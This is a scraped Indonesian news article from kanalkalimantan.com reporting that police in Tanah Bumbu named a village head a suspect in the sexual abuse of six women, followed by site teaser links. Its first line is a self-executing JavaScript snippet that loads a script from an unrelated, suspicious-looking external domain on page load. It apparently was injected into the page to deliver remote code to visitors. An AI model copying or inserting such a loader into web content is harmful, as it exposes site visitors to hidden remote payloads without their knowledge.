(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BATULICIN – Oknum Kepala Desa (Kades) di Kecamatan Kusan Hilir, Kabupaten Tanah Bumbu, ditetapkan sebagai tersangka pencabulan terhadap enam orang perempuan.
Penetapan tersangka dilakukan Unit Perlindungan Perempuan dan Anak (PPA) Satreskrim Polres Tanah Bumbu karena diduga melakukan tindak asusila.
Kapolres Tanah Bumbu AKBP Tri Hambodo SIK melalui Kasi Humas AKP H I Made Rasa membenarkan, adanya kasus yang menyeret Kades Muara Pagatan Tengah, Kecamatan Kusan Hilir, kepada awak media, Kamis (3/2/2022).
AKP H I Made Rasa beberkan kronologi kejadian, berawal dari lima orang korban yang melaporkan perbuatan oknum Kades tersebut ke Unit PPA Satreskrim Polres Tanah Bumbu pada 29 Desember 2021.
Berdasarkan laporan tersebut, Unit PPA Satreskrim Polres Tanah Bumbu melakukan penyelidikan lebih lanjut.
Tersangka SA (56) beralamat di Jalan Mutiara Pagatan, Desa Muara Pagatan Tengah, Kecamatan Kusan Hilir, Kabupaten Tanah Bumbu.
Pelaku diduga melakukan perbuatan cabul terhadap pelapor dengan cara menarik tangan korban untuk di bawa ke ruang kerjanya dan kemudian merangkul. Para korban mendapat ciuman di pipi dan pelaku disebut memegang payudara korban saat berada di dalam ruang kerja.
Polisi mengamankan SK pengangkatan jabatan Kades Muara Pagatan Tengah, SK pengangkatan Perangkat Desa Muara Pagatan Tengah, SK struktur jabatan Perangkat Desa Muara Pagatan Tengah.
“Pelaku saat ini tidak ditahan, namun wajib lapor dua minggu sekali ke Satreskrim Polres Tanbu atas jaminan keluarga dan pengacaranya,” pungkas Kasi Humas H I Made Rasa.
Pelaku akan disangkakan pasal 289 dan atau 294 ayat (2) ke 1 jo 65 KUHPidana dengan ancaman hukuman 7 tahun penjara. (kanalkalimantan.com/ftr)
Reporter : ftr
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More
KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More
KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More
KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More
This website uses cookies.